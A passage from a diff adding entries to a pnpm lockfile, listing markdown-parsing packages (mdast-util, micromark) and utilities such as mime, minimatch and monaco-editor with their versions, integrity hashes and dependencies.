sha512-2hkTXtYYnr+NubD/g6KGBS/0mFmBcifAsI0yIWRiRo0PjVs6SSOSOdtzbp6kSGnShDN6G5aWZpKQ2lWRy27mWQ==} + dependencies: + '@types/mdast': 3.0.15 + mdast-util-to-string: 2.0.0 + micromark: 2.11.4 + parse-entities: 2.0.0 + unist-util-stringify-position: 2.0.3 + transitivePeerDependencies: + - supports-color + dev: false + + /mdast-util-from-markdown@1.3.0: + resolution: {integrity: sha512-HN3W1gRIuN/ZW295c7zi7g9lVBllMgZE40RxCX37wrTPWXCWtpvOZdfnuK+1WNpvZje6XuJeI3Wnb4TJEUem+g==} + dependencies: + '@types/mdast': 3.0.15 + '@types/unist': 2.0.10 + decode-named-character-reference: 1.0.2 + mdast-util-to-string: 3.2.0 + micromark: 3.2.0 + micromark-util-decode-numeric-character-reference: 1.1.0 + micromark-util-decode-string: 1.1.0 + micromark-util-normalize-identifier: 1.1.0 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + unist-util-stringify-position: 3.0.3 + uvu: 0.5.6 + transitivePeerDependencies: + - supports-color + dev: false + + /mdast-util-gfm-autolink-literal@1.0.3: + resolution: {integrity: sha512-My8KJ57FYEy2W2LyNom4n3E7hKTuQk/0SES0u16tjA9Z3oFkF4RrC/hPAPgjlSpezsOvI8ObcXcElo92wn5IGA==} + dependencies: + '@types/mdast': 3.0.15 + ccount: 2.0.1 + mdast-util-find-and-replace: 2.2.2 + micromark-util-character: 1.1.0 + dev: false + + /mdast-util-gfm-footnote@1.0.2: + resolution: {integrity: sha512-56D19KOGbE00uKVj3sgIykpwKL179QsVFwx/DCW0u/0+URsryacI4MAdNJl0dh+u2PSsD9FtxPFbHCzJ78qJFQ==} + dependencies: + '@types/mdast': 3.0.15 + mdast-util-to-markdown: 1.5.0 + micromark-util-normalize-identifier: 1.1.0 + dev: false + + /mdast-util-gfm-strikethrough@1.0.3: + resolution: {integrity: sha512-DAPhYzTYrRcXdMjUtUjKvW9z/FNAMTdU0ORyMcbmkwYNbKocDpdk+PX1L1dQgOID/+vVs1uBQ7ElrBQfZ0cuiQ==} + dependencies: + '@types/mdast': 3.0.15 + mdast-util-to-markdown: 1.5.0 + dev: false + + /mdast-util-gfm-table@1.0.7: + resolution: {integrity: sha512-jjcpmNnQvrmN5Vx7y7lEc2iIOEytYv7rTvu+MeyAsSHTASGCCRA79Igg2uKssgOs1i1po8s3plW0sTu1wkkLGg==} + dependencies: + '@types/mdast': 3.0.15 + markdown-table: 3.0.3 + mdast-util-from-markdown: 1.3.0 + mdast-util-to-markdown: 1.5.0 + transitivePeerDependencies: + - supports-color + dev: false + + /mdast-util-gfm-task-list-item@1.0.2: + resolution: {integrity: sha512-PFTA1gzfp1B1UaiJVyhJZA1rm0+Tzn690frc/L8vNX1Jop4STZgOE6bxUhnzdVSB+vm2GU1tIsuQcA9bxTQpMQ==} + dependencies: + '@types/mdast': 3.0.15 + mdast-util-to-markdown: 1.5.0 + dev: false + + /mdast-util-gfm@1.0.0: + resolution: {integrity: sha512-JY4qImsTqivQ0Gl3qvdaizCpomFaNrHnjEhNjNNKeNEA5jZHAJDYu1+yO4V9jn4/ti8GrKdAScaT4F71knoxsA==} + dependencies: + mdast-util-gfm-autolink-literal: 1.0.3 + mdast-util-gfm-strikethrough: 1.0.3 + mdast-util-gfm-table: 1.0.7 + mdast-util-gfm-task-list-item: 1.0.2 + transitivePeerDependencies: + - supports-color + dev: false + + /mdast-util-gfm@2.0.2: + resolution: {integrity: sha512-qvZ608nBppZ4icQlhQQIAdc6S3Ffj9RGmzwUKUWuEICFnd1LVkN3EktF7ZHAgfcEdvZB5owU9tQgt99e2TlLjg==} + dependencies: + mdast-util-from-markdown: 1.3.0 + mdast-util-gfm-autolink-literal: 1.0.3 + mdast-util-gfm-footnote: 1.0.2 + mdast-util-gfm-strikethrough: 1.0.3 + mdast-util-gfm-table: 1.0.7 + mdast-util-gfm-task-list-item: 1.0.2 + mdast-util-to-markdown: 1.5.0 + transitivePeerDependencies: + - supports-color + dev: false + + /mdast-util-mdx-expression@1.3.2: + resolution: {integrity: sha512-xIPmR5ReJDu/DHH1OoIT1HkuybIfRGYRywC+gJtI7qHjCJp/M9jrmBEJW22O8lskDWm562BX2W8TiAwRTb0rKA==} + dependencies: + '@types/estree-jsx': 1.0.3 + '@types/hast': 2.3.8 + '@types/mdast': 3.0.15 + mdast-util-from-markdown: 1.3.0 + mdast-util-to-markdown: 1.5.0 + transitivePeerDependencies: + - supports-color + dev: false + + /mdast-util-mdx-jsx@2.1.2: + resolution: {integrity: sha512-o9vBCYQK5ZLGEj3tCGISJGjvafyHRVJlZmfJzSE7xjiogSzIeph/Z4zMY65q4WGRMezQBeAwPlrdymDYYYx0tA==} + dependencies: + '@types/estree-jsx': 1.0.3 + '@types/hast': 2.3.8 + '@types/mdast': 3.0.15 + '@types/unist': 2.0.10 + ccount: 2.0.1 + mdast-util-from-markdown: 1.3.0 + mdast-util-to-markdown: 1.5.0 + parse-entities: 4.0.1 + stringify-entities: 4.0.3 + unist-util-remove-position: 4.0.2 + unist-util-stringify-position: 3.0.3 + vfile-message: 3.1.4 + transitivePeerDependencies: + - supports-color + dev: false + + /mdast-util-mdx@2.0.1: + resolution: {integrity: sha512-38w5y+r8nyKlGvNjSEqWrhG0w5PmnRA+wnBvm+ulYCct7nsGYhFVb0lljS9bQav4psDAS1eGkP2LMVcZBi/aqw==} + dependencies: + mdast-util-from-markdown: 1.3.0 + mdast-util-mdx-expression: 1.3.2 + mdast-util-mdx-jsx: 2.1.2 + mdast-util-mdxjs-esm: 1.3.1 + mdast-util-to-markdown: 1.5.0 + transitivePeerDependencies: + - supports-color + dev: false + + /mdast-util-mdxjs-esm@1.3.1: + resolution: {integrity: sha512-SXqglS0HrEvSdUEfoXFtcg7DRl7S2cwOXc7jkuusG472Mmjag34DUDeOJUZtl+BVnyeO1frIgVpHlNRWc2gk/w==} + dependencies: + '@types/estree-jsx': 1.0.3 + '@types/hast': 2.3.8 + '@types/mdast': 3.0.15 + mdast-util-from-markdown: 1.3.0 + mdast-util-to-markdown: 1.5.0 + transitivePeerDependencies: + - supports-color + dev: false + + /mdast-util-phrasing@3.0.1: + resolution: {integrity: sha512-WmI1gTXUBJo4/ZmSk79Wcb2HcjPJBzM1nlI/OUWA8yk2X9ik3ffNbBGsU+09BFmXaL1IBb9fiuvq6/KMiNycSg==} + dependencies: + '@types/mdast': 3.0.15 + unist-util-is: 5.2.1 + dev: false + + /mdast-util-to-markdown@1.5.0: + resolution: {integrity: sha512-bbv7TPv/WC49thZPg3jXuqzuvI45IL2EVAr/KxF0BSdHsU0ceFHOmwQn6evxAh1GaoK/6GQ1wp4R4oW2+LFL/A==} + dependencies: + '@types/mdast': 3.0.15 + '@types/unist': 2.0.10 + longest-streak: 3.1.0 + mdast-util-phrasing: 3.0.1 + mdast-util-to-string: 3.2.0 + micromark-util-decode-string: 1.1.0 + unist-util-visit: 4.1.2 + zwitch: 2.0.4 + dev: false + + /mdast-util-to-string@2.0.0: + resolution: {integrity: sha512-AW4DRS3QbBayY/jJmD8437V1Gombjf8RSOUCMFBuo5iHi58AGEgVCKQ+ezHkZZDpAQS75hcBMpLqjpJTjtUL7w==} + dev: false + + /mdast-util-to-string@3.2.0: + resolution: {integrity: sha512-V4Zn/ncyN1QNSqSBxTrMOLpjr+IKdHl2v3KVLoWmDPscP4r9GcCi71gjgvUV1SFSKh92AjAG4peFuBl2/YgCJg==} + dependencies: + '@types/mdast': 3.0.15 + dev: false + + /mdurl@1.0.1: + resolution: {integrity: sha512-/sKlQJCBYVY9Ers9hqzKou4H6V5UWc/M59TH2dvkt+84itfnq7uFOMLpOiOS4ujvHP4etln18fmIxA5R5fll0g==} + dev: false + + /media-typer@0.3.0: + resolution: {integrity: sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==} + engines: {node: '>= 0.6'} + dev: false + + /memoize-one@5.2.1: + resolution: {integrity: sha512-zYiwtZUcYyXKo/np96AGZAckk+FWWsUdJ3cHGGmld7+AhvcWmQyGCYUh1hc4Q/pkOhb65dQR/pqCyK0cOaHz4Q==} + dev: false + + /memory-level@1.0.0: + resolution: {integrity: sha512-UXzwewuWeHBz5krr7EvehKcmLFNoXxGcvuYhC41tRnkrTbJohtS7kVn9akmgirtRygg+f7Yjsfi8Uu5SGSQ4Og==} + engines: {node: '>=12'} + dependencies: + abstract-level: 1.0.3 + functional-red-black-tree: 1.0.1 + module-error: 1.0.2 + dev: false + + /merge-descriptors@1.0.1: + resolution: {integrity: sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w==} + dev: false + + /merge2@1.4.1: + resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==} + engines: {node: '>= 8'} + dev: false + + /meros@1.3.0(@types/node@20.10.3): + resolution: {integrity: sha512-2BNGOimxEz5hmjUG2FwoxCt5HN7BXdaWyFqEwxPTrJzVdABtrL4TiHTcsWSFAxPQ/tOnEaQEJh3qWq71QRMY+w==} + engines: {node: '>=13'} + peerDependencies: + '@types/node': '>=13' + peerDependenciesMeta: + '@types/node': + optional: true + dependencies: + '@types/node': 20.10.3 + dev: false + + /methods@1.1.2: + resolution: {integrity: sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==} + engines: {node: '>= 0.6'} + dev: false + + /micromark-core-commonmark@1.1.0: + resolution: {integrity: sha512-BgHO1aRbolh2hcrzL2d1La37V0Aoz73ymF8rAcKnohLy93titmv62E0gP8Hrx9PKcKrqCZ1BbLGbP3bEhoXYlw==} + dependencies: + decode-named-character-reference: 1.0.2 + micromark-factory-destination: 1.1.0 + micromark-factory-label: 1.1.0 + micromark-factory-space: 1.0.0 + micromark-factory-title: 1.1.0 + micromark-factory-whitespace: 1.0.0 + micromark-util-character: 1.1.0 + micromark-util-chunked: 1.1.0 + micromark-util-classify-character: 1.1.0 + micromark-util-html-tag-name: 1.2.0 + micromark-util-normalize-identifier: 1.1.0 + micromark-util-resolve-all: 1.1.0 + micromark-util-subtokenize: 1.1.0 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + uvu: 0.5.6 + dev: false + + /micromark-extension-gfm-autolink-literal@1.0.5: + resolution: {integrity: sha512-z3wJSLrDf8kRDOh2qBtoTRD53vJ+CWIyo7uyZuxf/JAbNJjiHsOpG1y5wxk8drtv3ETAHutCu6N3thkOOgueWg==} + dependencies: + micromark-util-character: 1.1.0 + micromark-util-sanitize-uri: 1.2.0 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + dev: false + + /micromark-extension-gfm-footnote@1.1.2: + resolution: {integrity: sha512-Yxn7z7SxgyGWRNa4wzf8AhYYWNrwl5q1Z8ii+CSTTIqVkmGZF1CElX2JI8g5yGoM3GAman9/PVCUFUSJ0kB/8Q==} + dependencies: + micromark-core-commonmark: 1.1.0 + micromark-factory-space: 1.0.0 + micromark-util-character: 1.1.0 + micromark-util-normalize-identifier: 1.1.0 + micromark-util-sanitize-uri: 1.2.0 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + uvu: 0.5.6 + dev: false + + /micromark-extension-gfm-strikethrough@1.0.7: + resolution: {integrity: sha512-sX0FawVE1o3abGk3vRjOH50L5TTLr3b5XMqnP9YDRb34M0v5OoZhG+OHFz1OffZ9dlwgpTBKaT4XW/AsUVnSDw==} + dependencies: + micromark-util-chunked: 1.1.0 + micromark-util-classify-character: 1.1.0 + micromark-util-resolve-all: 1.1.0 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + uvu: 0.5.6 + dev: false + + /micromark-extension-gfm-table@1.0.7: + resolution: {integrity: sha512-3ZORTHtcSnMQEKtAOsBQ9/oHp9096pI/UvdPtN7ehKvrmZZ2+bbWhi0ln+I9drmwXMt5boocn6OlwQzNXeVeqw==} + dependencies: + micromark-factory-space: 1.0.0 + micromark-util-character: 1.1.0 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + uvu: 0.5.6 + dev: false + + /micromark-extension-gfm-tagfilter@1.0.2: + resolution: {integrity: sha512-5XWB9GbAUSHTn8VPU8/1DBXMuKYT5uOgEjJb8gN3mW0PNW5OPHpSdojoqf+iq1xo7vWzw/P8bAHY0n6ijpXF7g==} + dependencies: + micromark-util-types: 1.0.2 + dev: false + + /micromark-extension-gfm-task-list-item@1.0.5: + resolution: {integrity: sha512-RMFXl2uQ0pNQy6Lun2YBYT9g9INXtWJULgbt01D/x8/6yJ2qpKyzdZD3pi6UIkzF++Da49xAelVKUeUMqd5eIQ==} + dependencies: + micromark-factory-space: 1.0.0 + micromark-util-character: 1.1.0 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + uvu: 0.5.6 + dev: false + + /micromark-extension-gfm@1.0.0: + resolution: {integrity: sha512-OjqbQPL1Vec/4l5hnC8WnMNmWwgrT9JvzR2udqIGrGKecZsdwY9GAWZ5482CuD12SXuHNj8aS8epni6ip0Pwog==} + dependencies: + micromark-extension-gfm-autolink-literal: 1.0.5 + micromark-extension-gfm-strikethrough: 1.0.7 + micromark-extension-gfm-table: 1.0.7 + micromark-extension-gfm-tagfilter: 1.0.2 + micromark-extension-gfm-task-list-item: 1.0.5 + micromark-util-combine-extensions: 1.1.0 + micromark-util-types: 1.0.2 + dev: false + + /micromark-extension-gfm@2.0.3: + resolution: {integrity: sha512-vb9OoHqrhCmbRidQv/2+Bc6pkP0FrtlhurxZofvOEy5o8RtuuvTq+RQ1Vw5ZDNrVraQZu3HixESqbG+0iKk/MQ==} + dependencies: + micromark-extension-gfm-autolink-literal: 1.0.5 + micromark-extension-gfm-footnote: 1.1.2 + micromark-extension-gfm-strikethrough: 1.0.7 + micromark-extension-gfm-table: 1.0.7 + micromark-extension-gfm-tagfilter: 1.0.2 + micromark-extension-gfm-task-list-item: 1.0.5 + micromark-util-combine-extensions: 1.1.0 + micromark-util-types: 1.0.2 + dev: false + + /micromark-extension-mdx-expression@1.0.8: + resolution: {integrity: sha512-zZpeQtc5wfWKdzDsHRBY003H2Smg+PUi2REhqgIhdzAa5xonhP03FcXxqFSerFiNUr5AWmHpaNPQTBVOS4lrXw==} + dependencies: + '@types/estree': 1.0.5 + micromark-factory-mdx-expression: 1.0.7 + micromark-factory-space: 1.0.0 + micromark-util-character: 1.1.0 + micromark-util-events-to-acorn: 1.2.3 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + uvu: 0.5.6 + dev: false + + /micromark-extension-mdx-jsx@1.0.5: + resolution: {integrity: sha512-gPH+9ZdmDflbu19Xkb8+gheqEDqkSpdCEubQyxuz/Hn8DOXiXvrXeikOoBA71+e8Pfi0/UYmU3wW3H58kr7akA==} + dependencies: + '@types/acorn': 4.0.6 + '@types/estree': 1.0.5 + estree-util-is-identifier-name: 2.1.0 + micromark-factory-mdx-expression: 1.0.7 + micromark-factory-space: 1.0.0 + micromark-util-character: 1.1.0 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + uvu: 0.5.6 + vfile-message: 3.1.4 + dev: false + + /micromark-extension-mdx-md@1.0.1: + resolution: {integrity: sha512-7MSuj2S7xjOQXAjjkbjBsHkMtb+mDGVW6uI2dBL9snOBCbZmoNgDAeZ0nSn9j3T42UE/g2xVNMn18PJxZvkBEA==} + dependencies: + micromark-util-types: 1.0.2 + dev: false + + /micromark-extension-mdxjs-esm@1.0.5: + resolution: {integrity: sha512-xNRBw4aoURcyz/S69B19WnZAkWJMxHMT5hE36GtDAyhoyn/8TuAeqjFJQlwk+MKQsUD7b3l7kFX+vlfVWgcX1w==} + dependencies: + '@types/estree': 1.0.5 + micromark-core-commonmark: 1.1.0 + micromark-util-character: 1.1.0 + micromark-util-events-to-acorn: 1.2.3 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + unist-util-position-from-estree: 1.1.2 + uvu: 0.5.6 + vfile-message: 3.1.4 + dev: false + + /micromark-extension-mdxjs@1.0.1: + resolution: {integrity: sha512-7YA7hF6i5eKOfFUzZ+0z6avRG52GpWR8DL+kN47y3f2KhxbBZMhmxe7auOeaTBrW2DenbbZTf1ea9tA2hDpC2Q==} + dependencies: + acorn: 8.8.2 + acorn-jsx: 5.3.2(acorn@8.8.2) + micromark-extension-mdx-expression: 1.0.8 + micromark-extension-mdx-jsx: 1.0.5 + micromark-extension-mdx-md: 1.0.1 + micromark-extension-mdxjs-esm: 1.0.5 + micromark-util-combine-extensions: 1.1.0 + micromark-util-types: 1.0.2 + dev: false + + /micromark-factory-destination@1.1.0: + resolution: {integrity: sha512-XaNDROBgx9SgSChd69pjiGKbV+nfHGDPVYFs5dOoDd7ZnMAE+Cuu91BCpsY8RT2NP9vo/B8pds2VQNCLiu0zhg==} + dependencies: + micromark-util-character: 1.1.0 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + dev: false + + /micromark-factory-label@1.1.0: + resolution: {integrity: sha512-OLtyez4vZo/1NjxGhcpDSbHQ+m0IIGnT8BoPamh+7jVlzLJBH98zzuCoUeMxvM6WsNeh8wx8cKvqLiPHEACn0w==} + dependencies: + micromark-util-character: 1.1.0 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + uvu: 0.5.6 + dev: false + + /micromark-factory-mdx-expression@1.0.7: + resolution: {integrity: sha512-QAdFbkQagTZ/eKb8zDGqmjvgevgJH3+aQpvvKrXWxNJp3o8/l2cAbbrBd0E04r0Gx6nssPpqWIjnbHFvZu5qsQ==} + dependencies: + micromark-factory-space: 1.0.0 + micromark-util-character: 1.1.0 + micromark-util-events-to-acorn: 1.2.3 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + unist-util-position-from-estree: 1.1.2 + uvu: 0.5.6 + vfile-message: 3.1.4 + dev: false + + /micromark-factory-space@1.0.0: + resolution: {integrity: sha512-qUmqs4kj9a5yBnk3JMLyjtWYN6Mzfcx8uJfi5XAveBniDevmZasdGBba5b4QsvRcAkmvGo5ACmSUmyGiKTLZew==} + dependencies: + micromark-util-character: 1.1.0 + micromark-util-types: 1.0.2 + dev: false + + /micromark-factory-title@1.1.0: + resolution: {integrity: sha512-J7n9R3vMmgjDOCY8NPw55jiyaQnH5kBdV2/UXCtZIpnHH3P6nHUKaH7XXEYuWwx/xUJcawa8plLBEjMPU24HzQ==} + dependencies: + micromark-factory-space: 1.0.0 + micromark-util-character: 1.1.0 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + dev: false + + /micromark-factory-whitespace@1.0.0: + resolution: {integrity: sha512-Qx7uEyahU1lt1RnsECBiuEbfr9INjQTGa6Err+gF3g0Tx4YEviPbqqGKNv/NrBaE7dVHdn1bVZKM/n5I/Bak7A==} + dependencies: + micromark-factory-space: 1.0.0 + micromark-util-character: 1.1.0 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + dev: false + + /micromark-util-character@1.1.0: + resolution: {integrity: sha512-agJ5B3unGNJ9rJvADMJ5ZiYjBRyDpzKAOk01Kpi1TKhlT1APx3XZk6eN7RtSz1erbWHC2L8T3xLZ81wdtGRZzg==} + dependencies: + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + dev: false + + /micromark-util-chunked@1.1.0: + resolution: {integrity: sha512-Ye01HXpkZPNcV6FiyoW2fGZDUw4Yc7vT0E9Sad83+bEDiCJ1uXu0S3mr8WLpsz3HaG3x2q0HM6CTuPdcZcluFQ==} + dependencies: + micromark-util-symbol: 1.0.1 + dev: false + + /micromark-util-classify-character@1.1.0: + resolution: {integrity: sha512-SL0wLxtKSnklKSUplok1WQFoGhUdWYKggKUiqhX+Swala+BtptGCu5iPRc+xvzJ4PXE/hwM3FNXsfEVgoZsWbw==} + dependencies: + micromark-util-character: 1.1.0 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + dev: false + + /micromark-util-combine-extensions@1.1.0: + resolution: {integrity: sha512-Q20sp4mfNf9yEqDL50WwuWZHUrCO4fEyeDCnMGmG5Pr0Cz15Uo7KBs6jq+dq0EgX4DPwwrh9m0X+zPV1ypFvUA==} + dependencies: + micromark-util-chunked: 1.1.0 + micromark-util-types: 1.0.2 + dev: false + + /micromark-util-decode-numeric-character-reference@1.1.0: + resolution: {integrity: sha512-m9V0ExGv0jB1OT21mrWcuf4QhP46pH1KkfWy9ZEezqHKAxkj4mPCy3nIH1rkbdMlChLHX531eOrymlwyZIf2iw==} + dependencies: + micromark-util-symbol: 1.0.1 + dev: false + + /micromark-util-decode-string@1.1.0: + resolution: {integrity: sha512-YphLGCK8gM1tG1bd54azwyrQRjCFcmgj2S2GoJDNnh4vYtnL38JS8M4gpxzOPNyHdNEpheyWXCTnnTDY3N+NVQ==} + dependencies: + decode-named-character-reference: 1.0.2 + micromark-util-character: 1.1.0 + micromark-util-decode-numeric-character-reference: 1.1.0 + micromark-util-symbol: 1.0.1 + dev: false + + /micromark-util-encode@1.1.0: + resolution: {integrity: sha512-EuEzTWSTAj9PA5GOAs992GzNh2dGQO52UvAbtSOMvXTxv3Criqb6IOzJUBCmEqrrXSblJIJBbFFv6zPxpreiJw==} + dev: false + + /micromark-util-events-to-acorn@1.2.3: + resolution: {integrity: sha512-ij4X7Wuc4fED6UoLWkmo0xJQhsktfNh1J0m8g4PbIMPlx+ek/4YdW5mvbye8z/aZvAPUoxgXHrwVlXAPKMRp1w==} + dependencies: + '@types/acorn': 4.0.6 + '@types/estree': 1.0.5 + '@types/unist': 2.0.10 + estree-util-visit: 1.2.1 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + uvu: 0.5.6 + vfile-message: 3.1.4 + dev: false + + /micromark-util-html-tag-name@1.2.0: + resolution: {integrity: sha512-VTQzcuQgFUD7yYztuQFKXT49KghjtETQ+Wv/zUjGSGBioZnkA4P1XXZPT1FHeJA6RwRXSF47yvJ1tsJdoxwO+Q==} + dev: false + + /micromark-util-normalize-identifier@1.1.0: + resolution: {integrity: sha512-N+w5vhqrBihhjdpM8+5Xsxy71QWqGn7HYNUvch71iV2PM7+E3uWGox1Qp90loa1ephtCxG2ftRV/Conitc6P2Q==} + dependencies: + micromark-util-symbol: 1.0.1 + dev: false + + /micromark-util-resolve-all@1.1.0: + resolution: {integrity: sha512-b/G6BTMSg+bX+xVCshPTPyAu2tmA0E4X98NSR7eIbeC6ycCqCeE7wjfDIgzEbkzdEVJXRtOG4FbEm/uGbCRouA==} + dependencies: + micromark-util-types: 1.0.2 + dev: false + + /micromark-util-sanitize-uri@1.2.0: + resolution: {integrity: sha512-QO4GXv0XZfWey4pYFndLUKEAktKkG5kZTdUNaTAkzbuJxn2tNBOr+QtxR2XpWaMhbImT2dPzyLrPXLlPhph34A==} + dependencies: + micromark-util-character: 1.1.0 + micromark-util-encode: 1.1.0 + micromark-util-symbol: 1.0.1 + dev: false + + /micromark-util-subtokenize@1.1.0: + resolution: {integrity: sha512-kUQHyzRoxvZO2PuLzMt2P/dwVsTiivCK8icYTeR+3WgbuPqfHgPPy7nFKbeqRivBvn/3N3GBiNC+JRTMSxEC7A==} + dependencies: + micromark-util-chunked: 1.1.0 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + uvu: 0.5.6 + dev: false + + /micromark-util-symbol@1.0.1: + resolution: {integrity: sha512-oKDEMK2u5qqAptasDAwWDXq0tG9AssVwAx3E9bBF3t/shRIGsWIRG+cGafs2p/SnDSOecnt6hZPCE2o6lHfFmQ==} + dev: false + + /micromark-util-types@1.0.2: + resolution: {integrity: sha512-DCfg/T8fcrhrRKTPjRrw/5LLvdGV7BHySf/1LOZx7TzWZdYRjogNtyNq885z3nNallwr3QUKARjqvHqX1/7t+w==} + dev: false + + /micromark@2.11.4: + resolution: {integrity: sha512-+WoovN/ppKolQOFIAajxi7Lu9kInbPxFuTBVEavFcL8eAfVstoc5MocPmqBeAdBOJV00uaVjegzH4+MA0DN/uA==} + dependencies: + debug: 4.3.4 + parse-entities: 2.0.0 + transitivePeerDependencies: + - supports-color + dev: false + + /micromark@3.2.0: + resolution: {integrity: sha512-uD66tJj54JLYq0De10AhWycZWGQNUvDI55xPgk2sQM5kn1JYlhbCMTtEeT27+vAhW2FBQxLlOmS3pmA7/2z4aA==} + dependencies: + '@types/debug': 4.1.12 + debug: 4.3.4 + decode-named-character-reference: 1.0.2 + micromark-core-commonmark: 1.1.0 + micromark-factory-space: 1.0.0 + micromark-util-character: 1.1.0 + micromark-util-chunked: 1.1.0 + micromark-util-combine-extensions: 1.1.0 + micromark-util-decode-numeric-character-reference: 1.1.0 + micromark-util-encode: 1.1.0 + micromark-util-normalize-identifier: 1.1.0 + micromark-util-resolve-all: 1.1.0 + micromark-util-sanitize-uri: 1.2.0 + micromark-util-subtokenize: 1.1.0 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + uvu: 0.5.6 + transitivePeerDependencies: + - supports-color + dev: false + + /micromatch@4.0.5: + resolution: {integrity: sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==} + engines: {node: '>=8.6'} + dependencies: + braces: 3.0.2 + picomatch: 2.3.1 + dev: false + + /mime-db@1.52.0: + resolution: {integrity: sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==} + engines: {node: '>= 0.6'} + dev: false + + /mime-types@2.1.35: + resolution: {integrity: sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==} + engines: {node: '>= 0.6'} + dependencies: + mime-db: 1.52.0 + dev: false + + /mime@1.6.0: + resolution: {integrity: sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==} + engines: {node: '>=4'} + hasBin: true + dev: false + + /mimic-response@3.1.0: + resolution: {integrity: sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==} + engines: {node: '>=10'} + dev: false + + /minimatch@3.1.2: + resolution: {integrity: sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==} + dependencies: + brace-expansion: 1.1.11 + dev: false + + /minimatch@5.1.6: + resolution: {integrity: sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==} + engines: {node: '>=10'} + dependencies: + brace-expansion: 2.0.1 + dev: false + + /minimist@1.2.8: + resolution: {integrity: sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==} + dev: false + + /minimisted@2.0.1: + resolution: {integrity: sha512-1oPjfuLQa2caorJUM8HV8lGgWCc0qqAO1MNv/k05G4qslmsndV/5WdNZrqCiyqiz3wohia2Ij2B7w2Dr7/IyrA==} + dependencies: + minimist: 1.2.8 + dev: false + + /mkdirp-classic@0.5.3: + resolution: {integrity: sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==} + dev: false + + /mkdirp@0.5.6: + resolution: {integrity: sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==} + hasBin: true + dependencies: + minimist: 1.2.8 + dev: false + + /module-error@1.0.2: + resolution: {integrity: sha512-0yuvsqSCv8LbaOKhnsQ/T5JhyFlCYLPXK3U2sgV10zoKQwzs/MyfuQUOZQ1V/6OCOJsK/TRgNVrPuPDqtdMFtA==} + engines: {node: '>=10'} + dev: false + + /moment@2.29.4: + resolution: {integrity: sha512-5LC9SOxjSc2HF6vO2CyuTDNivEdoz2IvyJJGj6X8DJ0eFyfszE0QiEd+iXmBvUP3WHxSjFH/vIsA0EN00cgr8w==} + dev: false + + /monaco-editor@0.31.0: + resolution: {integrity: sha512-H3QmysEwxxY8oxmFhIFcY9JkuwilUDa6txdAxb797cVr7XFZX27a3SDwcGJmTlV9iGPwdh132r3KKCS5aNL4Gg==} + dev: false + + /mri@1.2.0: + resolution: {integrity: sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==} + engines: {node: '>=4'} + dev: false + + /ms@2.0.0: + resolution: {integrity: sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==} + dev: false + + /ms@2.1.2: + resolution: {integrity: 